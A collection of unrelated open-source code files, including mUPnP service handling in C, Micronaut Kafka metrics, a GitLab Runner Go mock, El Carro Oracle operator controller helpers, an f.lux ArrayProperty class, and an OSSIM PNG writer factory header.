#ifdef MUPNP_OPTIMIZED_CP_MODE
if (mupnp_service_isparsed(service) == false)
mupnp_controlpoint_parsescservicescpd(service);
#endif
return service->actionList;
mupnp_log_debug_l4("Leaving...\n");
}
mUpnpAction* mupnp_service_getactions(mUpnpService* service)
{
mupnp_log_debug_l4("Entering...\n");
#ifdef MUPNP_OPTIMIZED_CP_MODE
if (mupnp_service_isparsed(service) == false)
mupnp_controlpoint_parsescservicescpd(service);
#endif
return mupnp_actionlist_gets(service->actionList);
mupnp_log_debug_l4("Leaving...\n");
}
mUpnpServiceStateTable* mupnp_service_getservicestatetable(mUpnpService* service)
{
mupnp_log_debug_l4("Entering...\n");
#ifdef MUPNP_OPTIMIZED_CP_MODE
if (mupnp_service_isparsed(service) == false)
mupnp_controlpoint_parsescservicescpd(service);
#endif
return service->serviceStateTable;
mupnp_log_debug_l4("Leaving...\n");
}
mUpnpStateVariable* mupnp_service_getstatevariables(mUpnpService* service)
{
mupnp_log_debug_l4("Entering...\n");
#ifdef MUPNP_OPTIMIZED_CP_MODE
if (mupnp_service_isparsed(service) == false)
mupnp_controlpoint_parsescservicescpd(service);
#endif
return mupnp_servicestatetable_gets(service->serviceStateTable);
mupnp_log_debug_l4("Leaving...\n");
}
/****************************************
*
* Subscription
*
****************************************/
#if !defined(MUPNP_NOUSE_SUBSCRIPTION)
/****************************************
* mupnp_service_addsubscriber
****************************************/
bool mupnp_service_addsubscriber(mUpnpService* service, mUpnpSubscriber* sub)
{
mupnp_log_debug_l4("Entering...\n");
mupnp_subscriberlist_add(service->subscriberList, sub);
mupnp_log_debug_l4("Leaving...\n");
return true;
}
/****************************************
* mupnp_service_removesubscriber
****************************************/
bool mupnp_service_removesubscriber(mUpnpService* service, mUpnpSubscriber* sub)
{
mupnp_log_debug_l4("Entering...\n");
mupnp_subscriber_remove(sub);
mupnp_subscriber_delete(sub);
mupnp_log_debug_l4("Leaving...\n");
return true;
}
/****************************************
* mupnp_service_getsubscriberbysid
****************************************/
mUpnpSubscriber* mupnp_service_getsubscriberbysid(mUpnpService* service, const char* sid)
{
mUpnpSubscriber* sub;
char* subSid;
mupnp_log_debug_l4("Entering...\n");
if (mupnp_strlen(sid) <= 0)
return NULL;
if (0 <= mupnp_strstr(sid, MUPNP_ST_UUID_DEVICE))
sid += mupnp_strlen(MUPNP_ST_UUID_DEVICE) + 1;
for (sub = mupnp_service_getsubscribers(service); sub != NULL; sub = mupnp_subscriber_next(sub)) {
subSid = mupnp_subscriber_getsid(sub);
if (0 <= mupnp_strstr(subSid, MUPNP_ST_UUID_DEVICE))
subSid += mupnp_strlen(MUPNP_ST_UUID_DEVICE) + 1;
if (mupnp_streq(sid, subSid) == true)
return sub;
}
mupnp_log_debug_l4("Leaving...\n");
return NULL;
}
/* Private helper functions */
mUpnpNetURL* mupnp_service_mangleabsoluteurl(const char* serviceURLStr, const char* baseURLStr, const char* locationURLStr)
{
mUpnpNetURL* absServiceURL;
mUpnpNetURL* serviceURL;
char* basePath;
if (mupnp_strlen(serviceURLStr) <= 0)
return NULL;
absServiceURL = mupnp_net_url_new();
mupnp_net_url_set(absServiceURL, serviceURLStr);
/* Absolute URL case */
if (mupnp_net_url_isabsolute(absServiceURL) == true) {
mupnp_log_debug_s("Mangled URL: %s\n", mupnp_net_url_getrequest(absServiceURL));
return absServiceURL;
}
/* URL base + absolute/relative path */
if (0 < mupnp_strlen(baseURLStr)) {
serviceURL = mupnp_net_url_new();
mupnp_net_url_set(serviceURL, serviceURLStr);
mupnp_net_url_set(absServiceURL, baseURLStr);
if (mupnp_net_url_isabsolutepath(serviceURLStr)) {
mupnp_net_url_setpath(absServiceURL, mupnp_net_url_getpath(serviceURL));
mupnp_net_url_setquery(absServiceURL, mupnp_net_url_getquery(serviceURL));
}
else {
mupnp_net_url_addpath(absServiceURL, mupnp_net_url_getpath(serviceURL));
mupnp_net_url_setquery(absServiceURL, mupnp_net_url_getquery(serviceURL));
mupnp_net_url_rebuild(absServiceURL);
}
mupnp_net_url_delete(serviceURL);
mupnp_log_debug_s("Mangled URL: %s\n", mupnp_net_url_getrequest(absServiceURL));
return absServiceURL;
}
/* URL base from location + absolute/relative path */
mupnp_log_debug_s("Location from SSDP packet: %s\n", locationURLStr);
if (mupnp_strlen(locationURLStr) <= 0) {
mupnp_log_debug_s("Could not get location string from SSDP packet!\n");
return absServiceURL;
}
mupnp_net_url_set(absServiceURL, locationURLStr);
mupnp_log_debug_s("URL from location: %s - %d -%s",
mupnp_net_url_gethost(absServiceURL),
mupnp_net_url_getport(absServiceURL),
mupnp_net_url_getpath(absServiceURL));
/* UPnP spec says that path in location URL with last part removed should be
* considered as base path when getting service descriptions, if relative
* paths are used in description XML.
*
* So we convert location http://192.168.1.1/base/path/description
* into http://192.168.1.1/base/path/
*/
basePath = mupnp_net_url_getupnpbasepath(absServiceURL);
if (basePath) {
mupnp_net_url_setpath(absServiceURL, basePath);
free(basePath);
locationURLStr = NULL;
}
serviceURL = mupnp_net_url_new();
mupnp_net_url_set(serviceURL, serviceURLStr);
if (mupnp_net_url_isabsolutepath(serviceURLStr)) {
mupnp_net_url_setpath(absServiceURL, mupnp_net_url_getpath(serviceURL));
mupnp_net_url_setquery(absServiceURL, mupnp_net_url_getquery(serviceURL));
}
else {
mupnp_net_url_addpath(absServiceURL, mupnp_net_url_getpath(serviceURL));
mupnp_net_url_setquery(absServiceURL, mupnp_net_url_getquery(serviceURL));
}
mupnp_net_url_delete(serviceURL);
mupnp_log_debug_s("Mangled URL: %s\n", mupnp_net_url_getrequest(absServiceURL));
return absServiceURL;
}
static mUpnpNetURL* mupnp_service_mangleurl(mUpnpService* service, char* type)
{
const char* serviceURLStr;
const char* baseURLStr;
const char* locationURLStr;
mUpnpDevice* rootDev;
serviceURLStr = mupnp_xml_node_getchildnodevalue(mupnp_service_getservicenode(service), type);
rootDev = mupnp_service_getrootdevice(service);
if (rootDev != NULL) {
baseURLStr = mupnp_device_geturlbase(rootDev);
locationURLStr = mupnp_device_getlocationfromssdppacket(rootDev);
}
else {
baseURLStr = NULL;
locationURLStr = NULL;
}
return mupnp_service_mangleabsoluteurl(serviceURLStr, baseURLStr, locationURLStr);
}
#endif
|
RaviH/micronaut-core | configurations/kafka/src/main/java/io/micronaut/configuration/kafka/metrics/KafkaProducerMetrics.java | /*
* Copyright 2017-2018 original authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package io.micronaut.configuration.kafka.metrics;
import io.micrometer.core.instrument.MeterRegistry;
import io.micrometer.core.instrument.Tag;
import io.micrometer.core.instrument.binder.MeterBinder;
import io.micronaut.configuration.kafka.config.AbstractKafkaConfiguration;
import io.micronaut.configuration.kafka.config.AbstractKafkaConsumerConfiguration;
import io.micronaut.configuration.metrics.annotation.RequiresMetrics;
import io.micronaut.context.annotation.Context;
import io.micronaut.context.annotation.Requires;
import io.micronaut.context.event.BeanCreatedEvent;
import io.micronaut.context.event.BeanCreatedEventListener;
import io.micronaut.core.annotation.Internal;
import org.apache.kafka.clients.producer.ProducerConfig;
import org.apache.kafka.common.MetricName;
import org.apache.kafka.common.metrics.KafkaMetric;
import org.apache.kafka.common.metrics.MetricsReporter;
import javax.annotation.PreDestroy;
import java.io.Closeable;
import java.util.Collection;
import java.util.List;
import java.util.Map;
import java.util.Properties;
import java.util.concurrent.ConcurrentLinkedQueue;
import java.util.stream.Collectors;
import static io.micronaut.configuration.metrics.micrometer.MeterRegistryFactory.MICRONAUT_METRICS_BINDERS;
/**
* @author graemerocher
* @since 1.0
*/
@RequiresMetrics
@Requires(property = MICRONAUT_METRICS_BINDERS + ".kafka.enabled", value = "true", defaultValue = "true")
@Context
public class KafkaProducerMetrics implements BeanCreatedEventListener<AbstractKafkaConsumerConfiguration>, MeterBinder, Closeable {
private static final Collection<MeterRegistry> METER_REGISTRIES = new ConcurrentLinkedQueue<>();
@Override
public AbstractKafkaConsumerConfiguration onCreated(BeanCreatedEvent<AbstractKafkaConsumerConfiguration> event) {
Properties props = event.getBean().getConfig();
if (!props.containsKey(ProducerConfig.METRIC_REPORTER_CLASSES_CONFIG)) {
props.put(ProducerConfig.METRIC_REPORTER_CLASSES_CONFIG, KafkaConsumerMetrics.Reporter.class.getName());
}
return event.getBean();
}
@Override
public void bindTo(MeterRegistry registry) {
METER_REGISTRIES.add(registry);
}
@Override
@PreDestroy
public void close() {
METER_REGISTRIES.clear();
}
/**
* A {@link MetricsReporter} that binds metrics to micrometer.
*/
@Internal
public static class Reporter implements MetricsReporter {
private List<KafkaMetric> metrics;
@Override
public void init(List<KafkaMetric> metrics) {
this.metrics = metrics;
for (MeterRegistry meterRegistry : KafkaProducerMetrics.METER_REGISTRIES) {
for (KafkaMetric metric : metrics) {
registerMetric(meterRegistry, metric);
}
}
}
@Override
public void metricChange(KafkaMetric metric) {
for (MeterRegistry meterRegistry : KafkaProducerMetrics.METER_REGISTRIES) {
registerMetric(meterRegistry, metric);
}
}
@Override
public void metricRemoval(KafkaMetric metric) {
// no-op (Micrometer doesn't support removal)
}
@Override
public void close() {
if (metrics != null) {
metrics.clear();
metrics = null;
}
}
@Override
public void configure(Map<String, ?> configs) {
}
private void registerMetric(MeterRegistry meterRegistry, KafkaMetric metric) {
MetricName metricName = metric.metricName();
Object v = metric.metricValue();
if (v instanceof Double) {
List<Tag> tags = metricName
.tags()
.entrySet()
.stream()
.map(entry -> Tag.of(entry.getKey(), entry.getValue()))
.collect(Collectors.toList());
String name = AbstractKafkaConfiguration.PREFIX + '.' + metricName.name();
meterRegistry.gauge(name, tags, metric, value -> (Double) value.metricValue());
}
}
}
}
|
jensonwe/mvvmFX | mvvmfx-testing-utils/src/test/java/de/saxsys/mvvmfx/testingutils/jfxrunner/TestFxTest.java | package de.saxsys.mvvmfx.testingutils.jfxrunner;
import javafx.scene.Node;
import javafx.scene.Parent;
import javafx.scene.layout.VBox;
import org.junit.Test;
import org.loadui.testfx.GuiTest;
import static org.assertj.core.api.Assertions.assertThat;
/**
*
* This test is used to check the compatibility of {@link JfxRunner}
* with TestFX. Especially it should be possible to have both TestFX tests and JfxRunner tests in one build process.
*
* @author manuel.mauky
*/
public class TestFxTest extends GuiTest {
@Override
protected Parent getRootNode() {
final VBox root = new VBox();
root.setId("root");
return root;
}
@Test
public void test() {
final Node root = find("#root");
assertThat(root).isNotNull();
}
}
|
bieganski/gitlab-runner | common/mock_Network.go | // Code generated by mockery v1.1.0. DO NOT EDIT.
package common
import (
context "context"
io "io"
mock "github.com/stretchr/testify/mock"
)
// MockNetwork is an autogenerated mock type for the Network type
type MockNetwork struct {
mock.Mock
}
// DownloadArtifacts provides a mock function with given fields: config, artifactsFile, directDownload
func (_m *MockNetwork) DownloadArtifacts(config JobCredentials, artifactsFile io.WriteCloser, directDownload *bool) DownloadState {
ret := _m.Called(config, artifactsFile, directDownload)
var r0 DownloadState
if rf, ok := ret.Get(0).(func(JobCredentials, io.WriteCloser, *bool) DownloadState); ok {
r0 = rf(config, artifactsFile, directDownload)
} else {
r0 = ret.Get(0).(DownloadState)
}
return r0
}
// PatchTrace provides a mock function with given fields: config, jobCredentials, content, startOffset
func (_m *MockNetwork) PatchTrace(config RunnerConfig, jobCredentials *JobCredentials, content []byte, startOffset int) PatchTraceResult {
ret := _m.Called(config, jobCredentials, content, startOffset)
var r0 PatchTraceResult
if rf, ok := ret.Get(0).(func(RunnerConfig, *JobCredentials, []byte, int) PatchTraceResult); ok {
r0 = rf(config, jobCredentials, content, startOffset)
} else {
r0 = ret.Get(0).(PatchTraceResult)
}
return r0
}
// ProcessJob provides a mock function with given fields: config, buildCredentials
func (_m *MockNetwork) ProcessJob(config RunnerConfig, buildCredentials *JobCredentials) (JobTrace, error) {
ret := _m.Called(config, buildCredentials)
var r0 JobTrace
if rf, ok := ret.Get(0).(func(RunnerConfig, *JobCredentials) JobTrace); ok {
r0 = rf(config, buildCredentials)
} else {
if ret.Get(0) != nil {
r0 = ret.Get(0).(JobTrace)
}
}
var r1 error
if rf, ok := ret.Get(1).(func(RunnerConfig, *JobCredentials) error); ok {
r1 = rf(config, buildCredentials)
} else {
r1 = ret.Error(1)
}
return r0, r1
}
// RegisterRunner provides a mock function with given fields: config, parameters
func (_m *MockNetwork) RegisterRunner(config RunnerCredentials, parameters RegisterRunnerParameters) *RegisterRunnerResponse {
ret := _m.Called(config, parameters)
var r0 *RegisterRunnerResponse
if rf, ok := ret.Get(0).(func(RunnerCredentials, RegisterRunnerParameters) *RegisterRunnerResponse); ok {
r0 = rf(config, parameters)
} else {
if ret.Get(0) != nil {
r0 = ret.Get(0).(*RegisterRunnerResponse)
}
}
return r0
}
// RequestJob provides a mock function with given fields: ctx, config, sessionInfo
func (_m *MockNetwork) RequestJob(ctx context.Context, config RunnerConfig, sessionInfo *SessionInfo) (*JobResponse, bool) {
ret := _m.Called(ctx, config, sessionInfo)
var r0 *JobResponse
if rf, ok := ret.Get(0).(func(context.Context, RunnerConfig, *SessionInfo) *JobResponse); ok {
r0 = rf(ctx, config, sessionInfo)
} else {
if ret.Get(0) != nil {
r0 = ret.Get(0).(*JobResponse)
}
}
var r1 bool
if rf, ok := ret.Get(1).(func(context.Context, RunnerConfig, *SessionInfo) bool); ok {
r1 = rf(ctx, config, sessionInfo)
} else {
r1 = ret.Get(1).(bool)
}
return r0, r1
}
// UnregisterRunner provides a mock function with given fields: config
func (_m *MockNetwork) UnregisterRunner(config RunnerCredentials) bool {
ret := _m.Called(config)
var r0 bool
if rf, ok := ret.Get(0).(func(RunnerCredentials) bool); ok {
r0 = rf(config)
} else {
r0 = ret.Get(0).(bool)
}
return r0
}
// UpdateJob provides a mock function with given fields: config, jobCredentials, jobInfo
func (_m *MockNetwork) UpdateJob(config RunnerConfig, jobCredentials *JobCredentials, jobInfo UpdateJobInfo) UpdateJobResult {
ret := _m.Called(config, jobCredentials, jobInfo)
var r0 UpdateJobResult
if rf, ok := ret.Get(0).(func(RunnerConfig, *JobCredentials, UpdateJobInfo) UpdateJobResult); ok {
r0 = rf(config, jobCredentials, jobInfo)
} else {
r0 = ret.Get(0).(UpdateJobResult)
}
return r0
}
// UploadRawArtifacts provides a mock function with given fields: config, reader, options
func (_m *MockNetwork) UploadRawArtifacts(config JobCredentials, reader io.ReadCloser, options ArtifactsOptions) UploadState {
ret := _m.Called(config, reader, options)
var r0 UploadState
if rf, ok := ret.Get(0).(func(JobCredentials, io.ReadCloser, ArtifactsOptions) UploadState); ok {
r0 = rf(config, reader, options)
} else {
r0 = ret.Get(0).(UploadState)
}
return r0
}
// VerifyRunner provides a mock function with given fields: config
func (_m *MockNetwork) VerifyRunner(config RunnerCredentials) bool {
ret := _m.Called(config)
var r0 bool
if rf, ok := ret.Get(0).(func(RunnerCredentials) bool); ok {
r0 = rf(config)
} else {
r0 = ret.Get(0).(bool)
}
return r0
}
|
akinfermo/elcarro-oracle-operator | oracle/controllers/common.go | <gh_stars>1-10
// Copyright 2021 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package controllers
import (
"context"
"fmt"
"time"
"github.com/go-logr/logr"
"google.golang.org/grpc"
corev1 "k8s.io/api/core/v1"
"k8s.io/apimachinery/pkg/api/resource"
"k8s.io/apimachinery/pkg/runtime"
"k8s.io/apimachinery/pkg/types"
"sigs.k8s.io/controller-runtime/pkg/client"
commonv1alpha1 "github.com/GoogleCloudPlatform/elcarro-oracle-operator/common/api/v1alpha1"
v1alpha1 "github.com/GoogleCloudPlatform/elcarro-oracle-operator/oracle/api/v1alpha1"
capb "github.com/GoogleCloudPlatform/elcarro-oracle-operator/oracle/pkg/agents/config_agent/protos"
"github.com/GoogleCloudPlatform/elcarro-oracle-operator/oracle/pkg/agents/consts"
)
const (
PhysBackupTimeLimitDefault = 60 * time.Minute
StatusReady = "Ready"
StatusInProgress = "InProgress"
RestoreInProgress = "Restore" + StatusInProgress
CreateInProgress = "Create" + StatusInProgress
)
var (
// SvcName is a string template for service names.
SvcName = "%s-svc"
// AgentSvcName is a string template for agent service names.
AgentSvcName = "%s-agent-svc"
// DbdaemonSvcName is a string template for dbdaemon service names.
DbdaemonSvcName = "%s-dbdaemon-svc"
// SvcEndpoint is a string template for service endpoints.
SvcEndpoint = "%s.%s" // SvcName.namespaceName
sourceCidrRange = []string{"0.0.0.0/0"}
// StsName is a string template for Database stateful set names.
StsName = "%s-sts"
// AgentDeploymentName is a string template for agent deployment names.
AgentDeploymentName = "%s-agent-deployment"
// PvcMountName is a string template for pvc names.
PvcMountName = "%s-pvc-%s" // inst.name-pvc-mount, e.g. mydb-pvc-u02
// CmName is a string template for config map names.
CmName = "%s-cm"
// DatabasePodAppLabel is the 'app' label assigned to db pod.
DatabasePodAppLabel = "db-op"
defaultDiskSpecs = map[string]commonv1alpha1.DiskSpec{
"DataDisk": {
Name: "DataDisk",
Size: resource.MustParse("100Gi"),
},
"LogDisk": {
Name: "LogDisk",
Size: resource.MustParse("150Gi"),
},
"BackupDisk": {
Name: "BackupDisk",
Size: resource.MustParse("100Gi"),
},
}
defaultDiskMountLocations = map[string]string{
"DataDisk": "u02",
"LogDisk": "u03",
"BackupDisk": "u04",
}
)
// StsParams stores parameters for creating a database stateful set.
type StsParams struct {
Inst *v1alpha1.Instance
Scheme *runtime.Scheme
Namespace string
Images map[string]string
SvcName string
StsName string
PrivEscalation bool
ConfigMap *corev1.ConfigMap
Restore *v1alpha1.RestoreSpec
Disks []commonv1alpha1.DiskSpec
Config *v1alpha1.Config
Log logr.Logger
Services []commonv1alpha1.Service
}
// AgentDeploymentParams stores parameters for creating a agent deployment.
type AgentDeploymentParams struct {
Config *v1alpha1.Config
Inst *v1alpha1.Instance
Scheme *runtime.Scheme
Images map[string]string
PrivEscalation bool
Name string
Log logr.Logger
Args map[string][]string
Services []commonv1alpha1.Service
}
// ConfigAgentClientFactory is a GRPC implementation of ConfigAgentClientFactory. Exists for test mock.
type GrpcConfigAgentClientFactory struct {
caclient *capb.ConfigAgentClient
}
type ConnCloseFunc func()
// ConfigAgentClientFactory is a GRPC implementation of ConfigAgentClientFactory. Exists for test mock.
type ConfigAgentClientFactory interface {
// New returns new Client.
// connection close function should be invoked by the caller if
// error is nil.
New(ctx context.Context, r client.Reader, namespace, instName string) (capb.ConfigAgentClient, ConnCloseFunc, error)
}
// GetPVCNameAndMount returns PVC names and their corresponding mount.
func GetPVCNameAndMount(instName, diskName string) (string, string) {
spec := defaultDiskSpecs[diskName]
mountLocation := defaultDiskMountLocations[spec.Name]
pvcName := fmt.Sprintf(PvcMountName, instName, mountLocation)
return pvcName, mountLocation
}
// New returns a new config agent client.
func (g *GrpcConfigAgentClientFactory) New(ctx context.Context, r client.Reader, namespace, instName string) (capb.ConfigAgentClient, ConnCloseFunc, error) {
agentSvc := &corev1.Service{}
if err := r.Get(ctx, types.NamespacedName{Name: fmt.Sprintf(AgentSvcName, instName), Namespace: namespace}, agentSvc); err != nil {
return nil, nil, err
}
conn, err := grpc.Dial(fmt.Sprintf("%s:%d", agentSvc.Spec.ClusterIP, consts.DefaultConfigAgentPort), grpc.WithInsecure())
if err != nil {
return nil, nil, fmt.Errorf("failed to create a conn via gRPC.Dial: %w", err)
}
return capb.NewConfigAgentClient(conn), func() { _ = conn.Close() }, nil
}
// Contains check whether given "elem" presents in "array"
func Contains(array []string, elem string) bool {
for _, v := range array {
if v == elem {
return true
}
}
return false
}
|
akrumel/f.lux | src/ArrayProperty.js | import { assert } from "akutils";
import createPropertyClass from "./createPropertyClass";
import ArrayShadow from "./ArrayShadow";
import IndexedApi from "./IndexedApi";
import IndexedShadowImpl from "./IndexedShadowImpl";
import Property from "./Property";
import MapProperty from "./MapProperty";
import StateType from "./StateType";
/**
`ArrayProperty` models an [Array](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
and the shadow API exposes all `Array` methods, such as `filter()`, `push()`, `pop()`,
and `reduce()` to name a few. The {@link ArrayShadow} allows for random access and assignment, such as
`todos[1].desc`.
The default shadow class is {@link ArrayShadow}.
Use `ArrayProperty` when you want to model an array state property and allow for the use of `Array` mutation methods.
You can then specify a custom shadow api to extend the `ArrayShadow` api.
The `_indexed` instance variable exposes a {@link IndexedApi} instance for working with properties.
Use `this._indexed` to perform `array` mutations, such as `pop()`, `push()`, `shift()`, and `splice()`.
For example,
```js
this._indexed.push("new element");
```
would append "new element" to the array.
@see {@link ArrayShadow}
*/
export default class ArrayProperty extends Property {
constructor(stateType) {
super(stateType);
this._indexed = new IndexedApi(this);
this.setImplementationClass(IndexedShadowImpl);
this.setShadowClass(ArrayShadow);
}
/**
Factory function for creating an `IndexedProperty` subclass. The generated class will have
the `type` {@link StateType} descriptor set upon return.
Example usage:
```
class SomeShadow extends ArrayShadow {
// definition here
}
export default ArrayProperty.createClass(SomeShadow, type => {
// configure type variable
});
```
@param {Object|ArrayShadow} [shadowType={}] - `ArrayShadow` subclass or object literal api definition.
If object literal specified, each property and function is mapped onto a Shadow subclass.
@param {function(type: StateType)} [typeCallback] - a callback function that will be passed the
{@link StateType} spec for additional customization, such as setting autoshadow, initial state,
or readonly.
@param {Object} [initialState]=[] - the initial state for the new property.
@return {ArrayProperty} newly defined `ArrayProperty` subclass.
*/
static createClass(shadowType={}, typeCallback, initialState=[]) {
return createPropertyClass(shadowType, initialState, typeCallback, ArrayProperty, ArrayShadow);
}
/**
Factory function for setting up the {@link StateType} `type` class variable with an appropriately
configured intial state.
Example usage:
```
export default class SomeProperty extends ArrayProperty {
// implement property here
}
class SomeShadow extends ArrayShadow {
// implement shadow api here
}
MapProperty.defineType(SomeProperty, SomeShadow, type => {
// configure type variable
});
```
@param {ArrayProperty} PropClass - ArrayProperty subclass
@param {Object|ArrayShadow} [ShadowType] - `ArrayShadow` subclass or object literal api definition.
If object literal specified, each property and function is mapped onto a Shadow subclass.
@param {function(type: StateType)} [typeCallback] - a callback function that will be passed the
{@link StateType} spec for additional customization, such as setting autoshadow, initial state, or
readonly.
@param {Object} [initialState=[]] - the initial state for the new property.
*/
static defineType(PropClass, ShadowType, typeCallback, initialState=[]) {
assert( a => a.is(ArrayProperty.isPrototypeOf(PropClass), "PropClass must subclass ArrayProperty") );
return StateType.defineTypeEx(PropClass, ShadowType, typeCallback, initialState);
}
}
StateType.defineType(ArrayProperty, spec => {
spec.initialState([])
.elementType(MapProperty.type)
.typeName("ArrayProperty");
});
|
trinibucc/TP2-AlgoBlocks | src/main/java/edu/fiuba/algo3/modelo/dibujo/Segmento.java | package edu.fiuba.algo3.modelo.dibujo;
import edu.fiuba.algo3.modelo.excepciones.SegmentoInvalidoError;
public class Segmento {
private Posicion inicio;
private Posicion fin;
public Segmento(Posicion inicio, Posicion fin){
if(inicio.esIgualA(fin)){
throw new SegmentoInvalidoError();
}
this.inicio = new Posicion(inicio.obtenerX(), inicio.obtenerY());
this.fin = new Posicion(fin.obtenerX(), fin.obtenerY());
}
public boolean esIgualA(Segmento segmento){
return segmento.obtenerInicio().esIgualA(this.inicio) && segmento.obtenerFin().esIgualA(this.fin);
}
public Posicion obtenerInicio() {
return this.inicio;
}
public Posicion obtenerFin(){
return this.fin;
}
}
|
liveqmock/platform-tools-idea | java/java-tests/testSrc/com/intellij/openapi/vfs/changes/PsiChangeTrackerTest.java | <reponame>liveqmock/platform-tools-idea
package com.intellij.openapi.vfs.changes;
import com.intellij.openapi.application.ex.PathManagerEx;
import com.intellij.psi.util.PsiFilter;
import com.intellij.openapi.util.text.StringUtil;
import com.intellij.openapi.vcs.FileStatus;
import com.intellij.openapi.vcs.changes.PsiChangeTracker;
import com.intellij.openapi.vfs.LocalFileSystem;
import com.intellij.openapi.vfs.VirtualFile;
import com.intellij.psi.*;
import com.intellij.testFramework.IdeaTestCase;
import java.io.File;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
/**
* @author <NAME>
*/
public class PsiChangeTrackerTest extends IdeaTestCase {
private PsiFile myOriginalFile;
private PsiFile myChangedFile;
@Override
protected void setUp() throws Exception {
super.setUp();
final VirtualFile testRoot = getTestRoot();
final VirtualFile child = testRoot.findChild("PsiChangesTest.java");
assert child != null : "Can't find PsiChangesTest.java";
final PsiFile original = getPsiManager().findFile(child);
assert original != null : "Can't create PsiFile from VirtualFile " + child.getName();
myOriginalFile = original;
final VirtualFile changedFile = testRoot.findChild("PsiChangesTest_changed.java");
assert changedFile != null : "Can't find PsiChangesTest_changed.java";
myChangedFile = PsiFileFactory.getInstance(myProject)
.createFileFromText(new String(changedFile.contentsToByteArray()), myOriginalFile);
assert myChangedFile != null : "Can't create PsiFile from " + changedFile.getPath();
}
public void testMethods() throws Exception {
doTest(new PsiFilter<PsiMethod>(PsiMethod.class));
}
public void testFields() throws Exception {
doTest(new PsiFilter<PsiField>(PsiField.class));
}
private <T extends PsiElement> void doTest(PsiFilter<T> filter) throws IOException {
final Map<T,FileStatus> map = PsiChangeTracker.getElementsChanged(myChangedFile, myOriginalFile, filter);
final Map<String, String> changes = convert(map);
final Map<String, String> expected = getExpectedResults();
assert expected.equals(changes) : "Changes are not equal \n Expected:\n" + expected + "\nFound:\n" + changes;
}
private static <T extends PsiElement> Map<String, String> convert(Map<T, FileStatus> map) {
final Map<String, String> result = new HashMap<String, String>();
for (T key : map.keySet()) {
final String newKey;
if (key instanceof PsiMember) {
newKey = ((PsiMember)key).getName();
} else {
newKey = key.getText();
}
result.put(newKey, map.get(key).getText());
}
return result;
}
private Map<String, String> getExpectedResults() throws IOException {
final String resultFileName = getTestName(true) + ".txt";
final VirtualFile resultsDir = getTestRoot().findChild("results");
assert resultsDir != null : "Can't find results dir";
final VirtualFile result = resultsDir.findChild(resultFileName);
assert result != null : "File not found " + resultsDir.getPath() + "/" + resultFileName;
String res = new String(result.contentsToByteArray());
final Map<String, String> map = new HashMap<String, String>();
for (String s : res.replace("\r\n", "\n").split("\n")) {
if (!StringUtil.isEmptyOrSpaces(s)) {
final String[] strings = s.split(":");
map.put(strings[0].trim(), strings[1].trim());
}
}
return map;
}
protected static VirtualFile getTestRoot() {
final File root = new File(PathManagerEx.getTestDataPath());
final File testRoot = new File(new File(root, "vfs"), "changes");
final VirtualFile ioFile = LocalFileSystem.getInstance().findFileByIoFile(testRoot);
assert ioFile != null : "Can't find directory vfs/changes";
return ioFile;
}
}
|
dardok/ossim-plugins | png/src/ossimPngWriterFactory.h | //----------------------------------------------------------------------------
//
// License: See top level LICENSE.txt file
//
// Author: <NAME>
//
// Description: Factory for OSSIM Portable Network Graphics (PNG) writer.
//----------------------------------------------------------------------------
// $Id: ossimPngWriterFactory.h 18003 2010-08-30 18:02:52Z gpotts $
#ifndef ossimPngWriterFactory_HEADER
#define ossimPngWriterFactory_HEADER
#include <ossim/imaging/ossimImageWriterFactoryBase.h>
class ossimImageFileWriter;
class ossimKeywordlist;
class ossimImageWriterFactory;
/** @brief Factory for PNG image writer. */
class ossimPngWriterFactory: public ossimImageWriterFactoryBase
{
public:
/** @brief virtual destructor */
virtual ~ossimPngWriterFactory();
/**
* @brief static method to return instance (the only one) of this class.
* @return pointer to instance of this class.
*/
static ossimPngWriterFactory* instance();
/**
* @brief Creates a writer from extension like "png".
* @param fileExtension "png"
*/
virtual ossimImageFileWriter *createWriterFromExtension(
const ossimString& fileExtension)const;
/**
* @brief Create that takes a keyword list and prefix.
* @param kwl The keyword list.
* @param prefix the keyword list prefix.
* @return pointer to image handler on success, NULL on failure.
*/
virtual ossimImageFileWriter* createWriter(const ossimKeywordlist& kwl,
const char *prefix=0)const;
/**
* @brief createWriter that takes a class name (ossimPngWriter)
* @param kwl The keyword list.
* @param prefix the keyword list prefix.
* @return pointer to image writer on success, NULL on failure.
*/
virtual ossimImageFileWriter* createWriter(const ossimString& typeName)const;
/**
* @brief Creates and object given a keyword list.
* @param kwl The keyword list.
* @param prefix the keyword list prefix.
* @return pointer to image writer on success, NULL on failure.
*/
virtual ossimObject* createObject(const ossimKeywordlist& kwl,
const char *prefix=0)const;
/**
* @brief createObject that takes a class name (ossimPngWriter)
* @param typeName Should be "ossimPngReader".
* @return pointer to image writer on success, NULL on failure.
*/
virtual ossimObject* createObject(const ossimString& typeName)const;
/**
* @brief Adds "png" to list.
* @param extList List to add to.
*/
virtual void getExtensions(std::vector<ossimString>& extList)const;
/**
* @brief Adds "ossimPngWriter" to list.
* @param typeList List to add to.
*/
virtual void getTypeNameList(std::vector<ossimString>& typeList)const;
/**
* @brief Adds "ossim_png" to writer list.
* @param imageTypeList List to append to.
*/
virtual void getImageTypeList(std::vector<ossimString>& imageTypeList)const;
virtual void getImageFileWritersBySuffix(ossimImageWriterFactoryBase::ImageFileWriterList& result,
const ossimString& ext)const;
virtual void getImageFileWritersByMimeType(ossimImageWriterFactoryBase::ImageFileWriterList& result,
const ossimString& mimeType)const;
protected:
/** @brief hidden from use default constructor */
ossimPngWriterFactory();
/** @brief hidden from use copy constructor */
ossimPngWriterFactory(const ossimPngWriterFactory&);
/** @brief hidden from use copy constructor */
void operator=(const ossimPngWriterFactory&);
/** static instance of this class */
static ossimPngWriterFactory* theInstance;
TYPE_DATA
};
